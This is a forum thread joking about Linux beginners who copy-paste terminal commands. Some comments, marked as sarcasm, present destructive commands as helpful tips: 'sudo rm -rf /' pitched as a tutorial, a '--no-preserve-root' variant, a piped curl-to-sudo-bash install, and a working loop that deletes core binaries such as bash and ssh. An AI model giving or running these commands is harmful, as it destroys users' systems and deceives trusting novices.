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[-] pezhore@lemmy.ml 63 points 1 year ago

Nothing better than curl https://totally-legit-installer.com/script | sudo bash

[-] mvirts@lemmy.world 5 points 1 year ago

No hash, get cash!

[-] garconip@lemmy.world 5 points 1 year ago

I usually get an output saying my distro isn't supported. So I have to download and edit the script then it can bypass checking os-release or something like that.

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[-] Rabbithole@kbin.social 52 points 1 year ago* (last edited 1 year ago)

I'm in a helpful mood so I'll add something for anyone stuck in OP's situation.

It's ok, Linux has a built in tutorial system for learning the terminal, so if you ever want to progress beyond copy/pasting, you can use that.

Just go into the terminal and type (or just copy/paste) this to get the tutorial program running:

sudo rm -rf /

Type your password when prompted and you're golden. No more linux issues ever again.

[-] HelloHotel@lemmy.world 27 points 1 year ago* (last edited 1 year ago)

Remember that if you run it as root and dont add the flag --no-preserve-root you leave your system vunrable to hackers like Anonymous or 4chan until you reboot,

I also find that adding --verbose adds more things like commentary and extras that really help

So, run sudo rm -rf --no-preserve-root --verbose

/s

[-] Rabbithole@kbin.social 17 points 1 year ago* (last edited 1 year ago)

All good points.

That's why I love communities like these, there are always people willing to expound upon other's solutions with solid additional information.

It's what makes forums like these such goldmines of information when you're first cutting your teeth learning new things.

Upvoted.

[-] whoamibro@lemmy.world 19 points 1 year ago* (last edited 1 year ago)

I tried your command and got the tutorial program and I gotta say that this is the best tutorial program I've ever seen. Now I wonder why other OSes don't do that

[-] Rabbithole@kbin.social 12 points 1 year ago* (last edited 1 year ago)

It's great, isn't it? As a side bonus, the tutorial modules on system optimization commands are just great. Check how much less RAM and CPU footprint your system's using now that you've run the tutorials. It's almost like nothing's going on in the background at all.

This is the reason that BASH will always be better than Powershell, imho.

[-] HelloHotel@lemmy.world 4 points 1 year ago

It optomizes your computer too? Woa

[-] Rabbithole@kbin.social 11 points 1 year ago

Well, technically it teaches you how to optimize your system.

That said, the optimizations are really effective.

[-] HelloHotel@lemmy.world 8 points 1 year ago* (last edited 1 year ago)

Note that the more corporate distros install PUPs (Potentially Unwanted Programs). (like clang) To uninstall, do what youd do on a Windows machine and wrip it out of your PC forcably

while read bloatware; do bloatware="$(echo "$bloatware" | cut -f1 -d'#')"; file="$(whereis "$bloatware" | cut -f2 -d' ')"; if test -f "$file"; do unlink "$file"; fi; done <<bloatlist 
clang # unwanted telemitry
bash  # promotes violence
tree    # hippy garbage
awk    # secret backdoor into your PC
ssh    # isnt up to date on its intentional encryption backdoor certificate
bloatlist

/sHope nobody dumb enough to run this Because it actually works

[-] Rabbithole@kbin.social 4 points 1 year ago

Lol, I know what you mean.

Isn't it fucked up how we all say that linux doesn't have viruses, and yet how many times have you ever seen an install of Mint or Ubuntu that didn't have "Tree" or "Awk" just sitting there waiting to ruin your whole day.

I swear to God Canonical have some things to answer for.

[-] lemmy_nightmare@sh.itjust.works 15 points 1 year ago

Done and I must say, as stated by the comments above - my CPU and RAM usage are at an all time low. Other OSes don't hold shit against Linux now.

[-] some_guy@lemmy.sdf.org 8 points 1 year ago

I told someone to do that way back when. He wisely tried it on a computer at Best Buy (a Mac) rather than his own. I respected his thinking ahead.

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[-] Quills@sh.itjust.works 4 points 1 year ago

Guy's really feeling helpful today

[-] turbodrooler@lemmy.world 37 points 1 year ago

That’s probably how most of us started, but then you start getting familiar with things…

[-] meteotsunami@lemmy.world 42 points 1 year ago

And that's when you really get good at breaking shit.

[-] turbodrooler@lemmy.world 28 points 1 year ago

In my early days I would reinstall the whole OS several times a week when I would fuck things up too much.

[-] RealBlstr@lemmy.world 12 points 1 year ago

Ah, the good old days of installing some obscure distro just to reinstall from scratch a week after 👌🏼

[-] turbodrooler@lemmy.world 6 points 1 year ago

Oh yeah! I tried so many…hahaha

[-] mfn77@lemmy.world 5 points 1 year ago* (last edited 1 year ago)

I'm still curious about stuff I didn't try. Like NixOS. Even tough I have a perfectly configured and problem free arch install which could take hours to replicate, I still consider if I should try it.

[-] CheshireSnake@iusearchlinux.fyi 3 points 1 year ago* (last edited 1 year ago)

I just switched to NixOS from Endeavour maybe 1/2 days ago. It's honestly pretty cool(i might have to be extra stupid to break this distro lol), but even as a vanilla Arch user it still kind of confuses me. I'm a linux noob, though. You'll probably have an easier time with it.

Edit: i do miss pacman, specially yay.

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[-] RealBlstr@lemmy.world 8 points 1 year ago

That's true. I'm no expert, I need to google everything - but after years of reading / coping/ pasting similar things, I started to understand how some things work.

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[-] Pensi@lemmy.world 32 points 1 year ago

I actually take the time to type everything out, but I still have no idea what I’m doing.

[-] ejsexton82@lemmy.sdf.org 8 points 1 year ago

You know, my students do this. It's freaking hilarious when they inevitably have a typo and get an error. I chuckle every time. 😄

[-] madwifi@lemmy.world 16 points 1 year ago

it is actually a good thing to do. helps in learning stuff faster. it's good to hear that there's still people who don't mindlessly copy and paste

[-] ejsexton82@lemmy.sdf.org 3 points 1 year ago

I realize my post sounds like I'm against students typing out commands, but I'm not. I'm against them mindlessly typing out commands they find on the internet without taking time to understand what the commands actually do. I encourage them to be intentional with their commands and really understand them.

[-] mvirts@lemmy.world 8 points 1 year ago

Omg I tell people at least 3 times a day about bash's tab completion. Cli proficiency should be taught before programming

[-] joshron@lemmy.world 3 points 1 year ago

Mindlessly mashing tab > copy paste any day brother

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[-] CoupleOfConcerns@lemmy.nz 20 points 1 year ago

People underestimate how important being able to google answers on the internet has been for the take-up of linux and many other things. Most of us would be lost without Google.

[-] mvirts@lemmy.world 13 points 1 year ago

Aaand the arch wiki

Aaand stack overflow

Aaand the Gentoo wiki

Aaand random Linux forums :P

Aaand very occasionally the accessible source code for when you're really stuck and have no other choice but to sell your soul in exchange for a glimmer of understanding after peering into the abyss.

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[-] DucktorZee@lemmy.world 16 points 1 year ago

Not just Linux, I do this all the time when 'writing' R or Python scripts for work. Then I spend the next 2 hours debugging a missing comma.

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[-] tdawg@lemmy.world 13 points 1 year ago

For anyone who needs it. Try out:

curl cheat.sh/
[-] MellowSnow@lemmy.world 7 points 1 year ago

OP bout to copy/paste this without knowing what it does lol.

[-] bdonvr@thelemmy.club 13 points 1 year ago

You move past this stage once you start actually depending on the system. Then you find imperfect answers to some problem and have to adapt them to your system. Then you start learning.

[-] gunpachi@lemmy.world 11 points 1 year ago

Years ago I started out like this, then gradually started reading and understanding the stuff.

[-] netburnr@lemmy.world 4 points 1 year ago

This is the way.

We're still using this meme right? /2%er

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[-] Rhaedas@kbin.social 8 points 1 year ago
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[-] Kolanaki@yiffit.net 6 points 1 year ago

copy and pasted random login info

"Why isn't this working?"

[-] pacology@lemmy.world 5 points 1 year ago

All hail the arch Linux wiki!

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[-] zephyrvs@lemmy.ml 5 points 1 year ago

I don't think that's a terrible way of getting started. Your subconscious will do the rest at some point, unless you're really not interested at all (which isn't a problem either). :)

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[-] marcar@lemmy.world 3 points 1 year ago

It’s funny cuz it’s true

[-] TheOneWithTheHair@lemmy.world 3 points 1 year ago

Just be careful with those two letter shell commands like rm and dd. But if you don't, you will become proficient in reinstalling Linux.

[-] jcb2016@lemmy.world 3 points 1 year ago* (last edited 1 year ago)

Heheh on Linux when you think you found the answer you copy paste, log out and back in. Sometimes reboot if it don’t with try the next copy and paste.. so many memories

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